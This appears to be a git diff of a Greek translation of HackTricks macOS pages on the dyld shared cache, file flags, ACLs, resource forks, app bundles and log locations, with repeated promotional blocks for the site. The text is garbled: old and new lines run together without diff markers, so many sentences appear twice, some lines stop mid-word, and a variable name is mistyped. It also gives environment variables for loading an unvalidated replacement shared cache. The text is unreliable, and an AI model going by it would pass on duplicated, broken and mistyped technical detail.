Είναι επίσης δυνατό να κατεβάσετε την Κοινόχρηστη Βιβλιοθήκη Cache άλλων συσκευών \*OS στο macos χρησιμοποιώντας έναν εξομοιωτή στο Xcode. Θα κατεβούν μέσα στο: ls `$HOME/Library/Developer/Xcode/<*>OS\ DeviceSupport/<version>/Symbols/System/Library/Caches/com.apple.dyld/`, όπως:`$HOME/Library/Developer/Xcode/iOS\ DeviceSupport/14.1\ (18A8395)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64`
Είναι επίσης δυνατό να κατεβάσετε την Κοινόχρηστη Βιβλιοθήκη Cache άλλων συσκευών \*OS στο macos χρησιμοποιώντας έναν εξομοιωτή στο Xcode. Θα κατέβουν μέσα στο: ls `$HOME/Library/Developer/Xcode/<*>OS\ DeviceSupport/<version>/Symbols/System/Library/Caches/com.apple.dyld/`, όπως:`$HOME/Library/Developer/Xcode/iOS\ DeviceSupport/14.1\ (18A8395)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64`
{% endhint %}
### Χαρτογράφηση SLC
Το **`dyld`** χρησιμοποιεί την κλήση συστήματος **`shared_region_check_np`** για να γνωρίζει αν έχει γίνει χαρτογράφηση του SLC (η οποία επιστρέφει τη διεύθυνση) και **`shared_region_map_and_slide_np`** για να χαρτογραφήσει το SLC.
Σημειώστε ότι ακόμα κι αν το SLC έχει γίνει μετακινηθεί στην πρώτη χρήση, όλες οι **διεργασίες** χρησιμοποιούν το **ίδιο αντίγραφο**, το οποίο **αποκλείει την προστασία ASLR** εάν ο επιτιθέμενος μπορούσε να εκτελέσει διεργασίες στο σύστημα. Αυτό πράγματι εκμεταλλεύτηκε στο παρελθόν και διορθώθηκε με τον κοινόχρηστο περιοχή pager.
Σημειώστε ότι ακόμα κι αν το SLC έχει μετακινηθεί στην πρώτη χρήση, όλες οι **διεργασίες** χρησιμοποιούν το **ίδιο αντίγραφο**, το οποίο **αποκλείει την προστασία ASLR** εάν ο επιτιθέμενος μπορούσε να εκτελέσει διεργασίες στο σύστημα. Αυτό εκμεταλλεύτηκε πραγματικά στο παρελθόν και διορθώθηκε με τον κοινόχρηστο περιοχή pager.
Οι ομάδες κλαδιών είναι μικρές Mach-O dylibs που δημιουργούν μικρούς χώρους μεταξύ των αντιστοιχίσεων εικόνων καθιστώντας αδύνατη την ενδιάμεση εισαγωγή των λειτουργιών.
Οι ομάδες κλαδιών είναι μικρές Mach-O dylibs που δημιουργούν μικρούς χώρους μεταξύ των αντιστοιχίσεων εικόνων κάνοντας αδύνατη την ενδιάμεση εισαγωγή των λειτουργιών.
### Αντικατάσταση SLCs
Χρησιμοποιώντας τις μεταβλητές περιβάλλοντος:
* **`DYLD_DHARED_REGION=private DYLD_SHARED_CACHE_DIR=</path/dir> DYLD_SHARED_CACHE_DONT_VALIDATE=1`** -> Αυτό θα επιτρέψει τη φόρτωση μιας νέας κοινόχρηστης βιβλιοθήκης cache
* **`DYLD_SHARED_CACHE_DIR=avoid`** και αντικαταστήστε χειροκίνητα τις βιβλιοθήκες με συμβολικούς συνδέσμους στην κοινόχρηστη μνήμη cache με τις πραγματικές (θα πρέπει να τις εξάγετε)
* **`DYLD_SHARED_CACHE_DIR=avoid`** και αντικαταστήστε χειροκίνητα τις βιβλιοθήκες με συμβολικούς συνδέσμους στην κοινόχρηστη μνήμη cache με τις πραγματικές (θα χρειαστεί να τις εξάγετε)
## Ειδικές Αδειες Αρχείων
### Άδειες φακέλων
### Δικαιώματα Φακέλου
Σε ένα **φάκελο**, το **read** επιτρέπει να **καταλογογραφηθεί**, το **write** επιτρέπει να **διαγραφεί** και να **γραφτούν** αρχεία σε αυτό, και το **execute** επιτρέπει να **διασχίσει** τον κατάλογο. Έτσι, για παράδειγμα, ένας χρήστης με **άδεια ανάγνωσης πάνω σε ένα αρχείο** μέσα σε έναν κατάλογο όπου δεν έχει **άδεια εκτέλεσης** **δεν θα μπορεί να διαβάσει** το αρχείο.
Σε έναν **φάκελο**, το **read** επιτρέπει να **καταλογογραφήσετε** τον φάκελο, το **write** επιτρέπει να **διαγράψετε** και να **γράψετε** αρχεία σε αυτόν, και το **execute** επιτρέπει να **διασχίσετε** τον κατάλογο. Έτσι, για παράδειγμα, ένας χρήστης με **δικαίωμα ανάγνωσης σε ένα αρχείο** μέσα σε έναν κατάλογο όπου δεν έχει δικαίωμα **εκτέλεσης** δεν θα μπορεί να **διαβάσει** το αρχείο.
### Τροποποιητές σημαιών
Υπάρχουν μερικές σημαίες που μπορούν να οριστούν στα αρχεία που θα κάνουν το αρχείο να συμπεριφέρεται διαφορετικά. Μπορείτε να **ελέγξετε τις σημαίες** των αρχείων μέσα σε έναν κατάλογο με `ls -lO /path/directory`
Υπάρχουν μερικές σημαίες που μπορούν να οριστούν στα αρχεία που θα κάνουν το αρχείο να συμπεριφέρεται διαφορετικά. Μπορείτε να **ελέγξετε τις σημαίες** των αρχείων μέσα σε έναν φάκελο με `ls -lO /path/directory`
* **`uchg`**: Γνωστή ως **σημαία uchange** θα **εμποδίσει οποιαδήποτε ενέργεια** αλλάζει ή διαγράφει το **αρχείο**. Για να το ορίσετε: `chflags uchg file.txt`
* Ο ριζικός χρήστης μπορεί να **αφαιρέσει τη σημαία** και να τροποποιήσει το αρχείο
* **`restricted`**: Αυτή η σημαία κάνει το αρχείο να **προστατεύεται από το SIP** (δεν μπορείτε να προσθέσετε αυτή τη σημαία σε ένα αρχείο).
* **`Sticky bit`**: Εάν ένας κατάλογος έχει sticky bit, **μόνο** ο **ιδιοκτήτης του καταλόγου ή ο ριζικός μπορεί να μετονομάσει ή να διαγράψει** αρχεία. Συνήθως αυτό ορίζεται στον κατάλογο /tmp για να αποτρέψει τους κανονικούς χρήστες από το διαγραφή ή τη μετακίνηση αρχείων άλλων χρηστών.
* **`uchg`**: Γνωστή ως σημαία **uchange** θα **εμποδίσει οποιαδήποτε ενέργεια** αλλαγής ή διαγραφής του **αρχείου**. Για να το ορίσετε: `chflags uchg file.txt`
* Ο χρήστης ρίζα μπορεί να **αφαιρέσει τη σημαία** και να τροποποιήσει το αρχείο
* **`restricted`**: Αυτή η σημαία κάνει το αρχείο να είναι **προστατευμένο από το SIP** (δεν μπορείτε να προσθέσετε αυτή τη σημαία σε ένα αρχείο).
* **`Sticky bit`**: Εάν ένας φάκελος έχει sticky bit, **μόνο** ο **ιδιοκτήτης του φακέλου ή η ρίζα μπορεί να μετονομάσει ή να διαγράψει** αρχεία. Συνήθως αυτό ορίζεται στον φάκελο /tmp για να αποτρέψει τους κανονικούς χρήστες από το διαγραφή ή τη μετακίνηση αρχείων άλλων χρηστών.
Όλες οι σημαίες μπορούν να βρεθούν στο αρχείο `sys/stat.h` (βρείτε το χρησιμοποιώντας `mdfind stat.h | grep stat.h`) και είναι:
* `UF_SETTABLE` 0x0000ffff: Μάσκα από σημαίες που μπορούν να αλλάξουν οι ιδιοκτήτες.
* `UF_SETTABLE` 0x0000ffff: Μάσκα των επεξεργάσιμων σημαιών ιδιοκτήτη.
* `UF_NODUMP` 0x00000001: Να μην γίνει αντιγραφή αρχείου.
* `UF_IMMUTABLE` 0x00000002: Το αρχείο δεν μπορεί να αλλάξει.
* `UF_APPEND` 0x00000004: Οι εγγραφές στο αρχείο μπορούν μόνο να προστεθούν.
* `UF_APPEND` 0x00000004: Οι εγγραφές στο αρχείο μπορούν να προστεθούν μόνο.
* `UF_OPAQUE` 0x00000008: Ο κατάλογος είναι αδιαφανής ως προς την ένωση.
* `UF_COMPRESSED` 0x00000020: Το αρχείο είναι συμπιεσμένο (κάποια συστήματα αρχείων).
* `UF_TRACKED` 0x00000040: Χωρίς ειδοποιήσεις για διαγραφές/μετονομασίες για αρχεία με αυτό το σύνολο.
* `UF_DATAVAULT` 0x00000080: Απαιτείται εξουσιοδότηση για ανάγνωση και εγγραφή.
* `UF_HIDDEN` 0x00008000: Υπόδειξη ότι αυτό το στοιχείο δεν πρέπει να εμφανίζεται σε μια γραφική διεπαφή.
* `SF_SUPPORTED` 0x009f0000: Μάσκα από σημαίες που υποστηρίζονται από τον υπερχρήστη.
* `SF_SETTABLE` 0x3fff0000: Μάσκα από σημαίες που μπορεί να αλλάξει ο υπερχρήστης.
* `SF_SYNTHETIC` 0xc0000000: Μάσκα από συνθετικές σημαίες μόνο για ανάγνωση συστήματος.
* `SF_SUPPORTED` 0x009f0000: Μάσκα των σημαιών που υποστηρίζονται από τον υπερχρήστη.
* `SF_SETTABLE` 0x3fff0000: Μάσκα των επεξεργάσιμων σημαιών υπερχρήστη.
* `SF_SYNTHETIC` 0xc0000000: Μάσκα συστημικών σημαιών μόνο για ανάγνωση.
* `SF_ARCHIVED` 0x00010000: Το αρχείο είναι αρχειοθετημένο.
* `SF_IMMUTABLE` 0x00020000: Το αρχείο δεν μπορεί να αλλάξει.
* `SF_APPEND` 0x00040000: Οι εγγραφές στο αρχείο μπορούν μόνο να προστεθούν.
* `SF_APPEND` 0x00040000: Οι εγγραφές στο αρχείο μπορούν να προστεθούν μόνο.
* `SF_RESTRICTED` 0x00080000: Απαιτείται εξουσιοδότηση για εγγραφή.
* `SF_NOUNLINK` 0x00100000: Το στοιχείο δεν μπορεί να αφαιρεθεί, να μετονομαστεί ή να τοποθετηθεί σε.
* `SF_NOUNLINK` 0x00100000: Το στοιχείο δεν μπορεί να αφαιρεθεί, να μετονομαστεί ή να τοποθετηθεί.
* `SF_FIRMLINK` 0x00800000: Το αρχείο είναι σύνδεσμος σταθερού συνδέσμου.
* `SF_DATALESS` 0x40000000: Το αρχείο είναι αντικείμενο χωρίς δεδομένα.
### **Αρχεία ACLs**
### **ACLs Αρχείων**
Τα **ACLs** αρχείων περιέχουν **ACE** (Access Control Entries) όπου μπορούν να ανατεθούν πιο **λεπτομερείς άδειες** σε διαφορετικούς χρήστες.
Τα **ACLs** αρχείων περιέχουν **ACE** (Access Control Entries) όπου μπορούν να ανατεθούν πιο **λεπτομερή δικαιώματα** σε διαφορετικούς χρήστες.
Είναι δυνατό να χορηγηθούν σε έναν **κατάλογο** αυτές οι άδειες: `list`, `search`, `add_file`, `add_subdirectory`, `delete_child`, `delete_child`.\
Και σε ένα **αρχείο**: `read`, `write`, `append`, `execute`.
Είναι δυνατό να χορηγηθούν σε έναν **φάκελο** αυτά τα δικαιώματα: `κατάλογος`, `αναζήτηση`, ροσθήκη_αρχείου`, ροσθήκη_υποκαταλόγου`, ιαγραφή_παιδιού`.\
Και σε ένα **αρχείο**: `ανάγνωση`, `εγγραφή`, `προσάρτηση`, `εκτέλεση`.
Όταν το αρχείο περιέχει ACLs θα **βρείτε ένα "+" κατά την εμφάνιση των άδειών όπως στο**:
Όταν το αρχείο περιέχει ACLs θα **βρείτε ένα "+" κ
```bash
ls -ld Movies
drwx------+ 7 username staff 224 15 Apr 19:42 Movies
@ -198,7 +202,7 @@ ls -RAle / 2>/dev/null | grep -E -B1 "\d: "
* `com.apple.FinderInfo`: MacOS: Πληροφορίες Finder (π.χ., ετικέτες χρώματος)
* `com.apple.TextEncoding`: Καθορίζει την κωδικοποίηση κειμένου των αρχείων ASCII
* `com.apple.logd.metadata`: Χρησιμοποιείται από το logd σε αρχεία στο `/var/db/diagnostics`
* `com.apple.genstore.*`: Αποθήκευση γενεών (`/.DocumentRevisions-V100` στη ρίζα του συστήματος αρχείων)
* `com.apple.genstore.*`: Γενεαλογική αποθήκευση (`/.DocumentRevisions-V100` στη ρίζα του συστήματος αρχείων)
* `com.apple.rootless`: MacOS: Χρησιμοποιείται από την Προστασία Ακεραιότητας Συστήματος για να επισημάνει αρχεία (III/10)
* `com.apple.uuidb.boot-uuid`: Σήμανση των εποχών εκκίνησης από το logd με μοναδικό UUID
* `com.apple.decmpfs`: MacOS: Διαφανής συμπίεση αρχείων (II/7)
@ -207,7 +211,7 @@ ls -RAle / 2>/dev/null | grep -E -B1 "\d: "
### Resource Forks | macOS ADS
Αυτή είναι μια μέθοδος για να αποκτήσετε **Εναλλακτικά Ροέν Δεδομένα στα μηχανήματα MacOS**. Μπορείτε να αποθηκεύσετε περιεχόμενο μέσα σε ένα επεκτεινόμενο χαρακτηριστικό που ονομάζεται **com.apple.ResourceFork** μέσα σε ένα αρχείο αποθηκεύοντάς το στο **file/..namedfork/rsrc**.
Αυτή είναι μια μέθοδος για να αποκτήσετε **Εναλλακτικές Ροές Δεδομένων στα μηχανήματα MacOS**. Μπορείτε να αποθηκεύσετε περιεχόμενο μέσα σε ένα επεκτεινόμενο χαρακτηριστικό που ονομάζεται **com.apple.ResourceFork** μέσα σε ένα αρχείο αποθηκεύοντάς το στο **file/..namedfork/rsrc**.
```bash
echo "Hello" > a.txt
echo "Hello Mac ADS" > a.txt/..namedfork/rsrc
@ -226,7 +230,7 @@ find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf
### decmpfs
Το επεκτεταμένο χαρακτηριστικό `com.apple.decmpfs` υποδηλώνει ότι το αρχείο είναι αποθηκευμένο κρυπτογραφημένο, το `ls -l` θα αναφέρει **μέγεθος 0** και τα συμπιεσμένα δεδομένα βρίσκονται μέσα σε αυτό το χαρακτηριστικό. Κάθε φορά που ανατίθεται το αρχείο, θα αποκρυπτογραφείται στη μνήμη.
Το επεκτεταμένο χαρακτηριστικό `com.apple.decmpfs` υποδηλώνει ότι το αρχείο είναι αποθηκευμένο κρυπτογραφημένο, το `ls -l` θα αναφέρει **μέγεθος 0** και τα συμπιεσμένα δεδομένα βρίσκονται μέσα σε αυτό το χαρακτηριστικό. Κάθε φορά που το αρχείο προσπελαύνεται, θα αποκρυπτογραφείται στη μνήμη.
Αυτό το χαρακτηριστικό μπορεί να εμφανιστεί με την εντολή `ls -lO` ως συμπιεσμένο επειδή τα συμπιεσμένα αρχεία επισημαίνονται επίσης με τη σημαία `UF_COMPRESSED`. Αν ένα συμπιεσμένο αρχείο αφαιρεθεί αυτή η σημαία με `chflags nocompressed </path/to/file>`, το σύστημα δεν θα γνωρίζει ότι το αρχείο ήταν συμπιεσμένο και συνεπώς δεν θα μπορεί να αποσυμπιέσει και να έχει πρόσβαση στα δεδομένα (θα νομίζει ότι είναι πραγματικά κενό).
@ -240,6 +244,8 @@ find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf
[universal-binaries-and-mach-o-format.md](universal-binaries-and-mach-o-format.md)
{% endcontent-ref %}
## Μνήμη Διεργασιών macOS
## Απορρόφηση μνήμης macOS
{% content-ref url="macos-memory-dumping.md" %}
@ -248,20 +254,20 @@ find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf
## Αρχεία κατηγορίας κινδύνου Mac OS
Ο κατάλογος `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` είναι όπου αποθηκεύονται πληροφορίες σχετικά με το **κίνδυνο που συσχετίζεται με διαφορετικές επεκτάσεις αρχείων**. Αυτός ο κατάλογος κατηγοριοποιεί τα αρχεία σε διάφορα επίπεδα κινδύνου, επηρεάζοντας τον τρόπο με τον οποίο το Safari χειρίζεται αυτά τα αρχεία κατά τη λήψη. Οι κατηγορίες είναι οι εξής:
Ο κατάλογος `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` είναι όπου αποθηκεύονται πληροφορίες σχετικά με το **κίνδυνο που συνδέεται με διαφορετικές επεκτάσεις αρχείων**. Αυτός ο κατάλογος κατηγοριοποιεί τα αρχεία σε διάφορα επίπεδα κινδύνου, επηρεάζοντας τον τρόπο με τον οποίο το Safari χειρίζεται αυτά τα αρχεία κατά τη λήψη. Οι κατηγορίες είναι οι εξής:
* **LSRiskCategorySafe**: Τα αρχεία σε αυτήν την κατηγορία θεωρούνται **εντελώς ασφαλή**. Το Safari θα ανοίγει αυτά τα αρχεία αυτόματα μετά τη λήψη τους.
* **LSRiskCategorySafe**: Τα αρχεία σε αυτή την κατηγορία θεωρούνται **εντελώς ασφαλή**. Το Safari θα ανοίγει αυτά τα αρχεία αυτόματα μετά τη λήψη τους.
* **LSRiskCategoryNeutral**: Αυτά τα αρχεία δεν συνοδεύονται από προειδοποιήσεις και **δεν ανοίγονται αυτόματα** από το Safari.
* **LSRiskCategoryUnsafeExecutable**: Τα αρχεία σε αυτήν την κατηγορία **ενεργοποιούν μια προειδοποίηση** που υποδεικνύει ότι το αρχείο είναι μια εφαρμογή. Αυτό λειτουργεί ως μέτρο ασφαλείας για να ειδοποιήσει τον χρήστη.
* **LSRiskCategoryMayContainUnsafeExecutable**: Αυτή η κατηγορία είναι για αρχεία, όπως αρχεία αρχειοθέτησης, που ενδέχεται να περιέχουν μια εκτελέσιμη εντολή. Το Safari θα **ενεργοποιήσει μια προειδοποίηση** εκτός εάν μπορεί να επαληθεύσει ότι όλο το περιεχόμενο είναι ασφαλές ή ουδέτερο.
* **LSRiskCategoryUnsafeExecutable**: Τα αρχεία σε αυτή την κατηγορία **ενεργοποιούν μια προειδοποίηση** που υποδεικνύει ότι το αρχείο είναι μια εφαρμογή. Αυτό λειτουργεί ως μέτρο ασφαλείας για να ειδοποιήσει τον χρήστη.
* **LSRiskCategoryMayContainUnsafeExecutable**: Αυτή η κατηγορία είναι για αρχεία, όπως αρχεία αρχειοθέτησης, που ενδέχεται να περιέχουν εκτελέσιμο. Το Safari θα **ενεργοποιήσει μια προειδοποίηση** εκτός αν μπορεί να επαληθεύσει ότι όλο το περιεχόμενο είναι ασφαλές ή ουδέτερο.
## Αρχεία καταγραφής
* **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**: Περιέχει πληροφορίες σχετικά με τα ληφθέντα αρχεία, όπως η διεύθυνση URL από όπου λήφθηκαν.
* **`/var/log/system.log`**: Κύρια καταγραφή των συστημάτων OSX. Το com.apple.syslogd.plist είναι υπεύθυνο για την εκτέλεση της καταγραφής συστήματος (μπορείτε να ελέγξετε αν είναι απενεργοποιημένο αναζητώντας "com.apple.syslogd" στο `launchctl list`.
* **`/var/log/system.log`**: Κύρια καταγραφή των συστημάτων OSX. Το com.apple.syslogd.plist είναι υπεύθυνο για την εκτέλεση της καταγραφής συστήματος (μπορείτε να ελέγξετε αν είναι απενεργοποιημένο αναζητώντας το "com.apple.syslogd" στο `launchctl list`.
* **`/private/var/log/asl/*.asl`**: Αυτά είναι τα Αρχεία Καταγραφής Συστήματος της Apple που μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες.
* **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: Αποθηκεύει πρόσφατα ανοιγμένα αρχεία και εφαρμογές μέσω του "Finder".
* **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: Αποθηκεύει στοιχεία για εκκίνηση κατά την εκκίνηση του συστήματος
* **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: Αποθηκεύει πρόσφατα αρχεία και εφαρμογές που έχουν ανοιχτεί μέσω του "Finder".
* **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: Αποθηκεύει στοιχεία που θα εκκινηθούν κατά την εκκίνηση του συστήματος
* **`$HOME/Library/Logs/DiskUtility.log`**: Αρχείο καταγραφής για την εφαρμογή DiskUtility (πληροφορίες σχετικά με τους δίσκους, συμπεριλαμβανομένων των USB)
* **`/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist`**: Δεδομένα σχετικά με τα σημεία πρόσβασης ασύρματων δικτύων.
* **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`**: Λίστα των απενεργοποιημένων δαίμονων.

View file

@ -1,18 +1,19 @@
# Δέσμες macOS
{% hint style="success" %}
Μάθε & εξάσκησε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθε & εξάσκησε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
## Βασικές Πληροφορίες
@ -20,16 +21,16 @@
### Βασικά Στοιχεία μιας Δέσμης
Μέσα σε μια δέσμη, ειδικά μέσα στον κατάλογο `<εφαρμογή>.app/Contents/`, φιλοξενούνται μια ποικιλία σημαντικών πόρων:
Μέσα σε μια δέσμη, ειδικά μέσα στον κατάλογο `<εφαρμογή>.app/Contents/`, φιλοξενούνται ποικίλοι σημαντικοί πόροι:
* **\_CodeSignature**: Αυτός ο κατάλογος αποθηκεύει λεπτομέρειες υπογραφής κώδικα που είναι ζωτικές για τον έλεγχο της ακεραιότητας της εφαρμογής. Μπορείτε να ελέγξετε τις πληροφορίες υπογραφής κώδικα χρησιμοποιώντας εντολές όπως: %%%bash openssl dgst -binary -sha1 /Applications/Safari.app/Contents/Resources/Assets.car | openssl base64 %%%
* **MacOS**: Περιέχει το εκτελέσιμο δυαδικό της εφαρμογής που εκτελείται κατά την αλληλεπίδραση του χρήστη.
* **Resources**: Ένα αποθήκευτικό χώρο για τα στοιχεία διεπαφής χρήστη της εφαρμογής, συμπεριλαμβανομένων εικόνων, εγγράφων και περιγραφών διεπαφής (αρχεία nib/xib).
* **Info.plist**: Δρα ως το κύριο αρχείο διαμόρφωσης της εφαρμογής, κρίσιμο για το σύστημα να αναγνωρίζει και να αλληλεπιδρά με την εφαρμογή κατάλληλα.
* **Info.plist**: Λειτουργεί ως το κύριο αρχείο διαμόρφωσης της εφαρμογής, κρίσιμο για το σύστημα να αναγνωρίζει και να αλληλεπιδρά με την εφαρμογή κατάλληλα.
#### Σημαντικά Κλειδιά στο Info.plist
Το αρχείο `Info.plist` είναι ένας πυλώνας για τη διαμόρφωση της εφαρμογής, περιέχοντας κλειδιά όπως:
Το αρχείο `Info.plist` είναι θεμέλιο για τη διαμόρφωση της εφαρμογής, περιέχοντας κλειδιά όπως:
* **CFBundleExecutable**: Καθορίζει το όνομα του κύριου εκτελέσιμου αρχείου που βρίσκεται στον κατάλογο `Contents/MacOS`.
* **CFBundleIdentifier**: Παρέχει ένα παγκόσμιο αναγνωριστικό για την εφαρμογή, που χρησιμοποιείται εκτενώς από το macOS για τη διαχείριση της εφαρμογής.
@ -47,22 +48,23 @@
* **Πλαίσια (Frameworks)**: Περιέχει πλαισιωμένα πλαίσια που χρησιμοποιούνται από την εφαρμογή. Τα πλαίσια είναι σαν dylibs με επιπλέον πόρους.
* **Πρόσθετα (PlugIns)**: Ένας κατάλογος για πρόσθετα και επεκτάσεις που ενισχύουν τις δυνατότητες της εφαρμογής.
* **XPCServices**: Διαθέτει XPC υπηρεσίες που χρησιμοποιούνται από την εφαρμογή για επικοινωνία εκτός διεργασίας.
* **XPCServices**: Κρατά υπηρεσίες XPC που χρησιμοποιούνται από την εφαρμογή για επικοινωνία εκτός διεργασίας.
Αυτή η δομή εξασφαλίζει ότι όλα τα απαραίτητα στοιχεία είναι ενσωματωμένα μέσα στη δέσμη, διευκολύνοντας ένα περιβάλλον εφαρμογής που είναι μοντουλαρισμένο και ασφαλές.
Αυτή η δομή εξασφαλίζει ότι όλα τα απαραίτητα στοιχεία είναι ενσωματωμένα μέσα στη δέσμη, διευκολύνοντας ένα περιβάλλον εφαρμογής που είναι μοντουλάριο και ασφαλές.
Για περισσότερες λεπτομερείς πληροφορίες σχετικά με τα κλειδιά του `Info.plist` και τις σημασίες τους, η τεκμηρίωση προγραμματιστή της Apple παρέχει εκτενείς πόρους: [Apple Info.plist Key Reference](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Introduction/Introduction.html).
{% hint style="success" %}
Μάθε & εξάσκησε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθε & εξάσκησε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,33 +1,34 @@
# Κατάχρηση Εγκαταστάτη macOS
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
